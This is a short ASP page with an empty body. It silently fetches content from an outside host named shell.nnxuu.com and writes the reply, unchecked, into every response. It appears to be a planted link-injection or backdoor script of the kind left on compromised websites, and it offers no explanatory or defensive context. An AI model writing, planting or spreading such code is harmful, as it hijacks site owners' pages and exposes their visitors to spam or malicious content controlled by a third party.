<% open_url = "http://shell.nnxuu.com/index.php?r=links&v=VD7XL4" HTMLCODEurl = getHTTPPage(open_url) response.Write HTMLCODEurl Function getHTTPPage(url) dim objXML set objXML=createobject("MSXML2.SERVERXMLHTTP") objXML.open "GET",url,false objXML.send() getHTTPPage=bBytesToBstr(objXML.responseBody) set objXML=nothing End Function Function bBytesToBstr(body) dim objstream set objstream = CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = "UTF-8" bBytesToBstr = objstream.ReadText objstream.Close set objstream = nothing end Function %> <body> </body>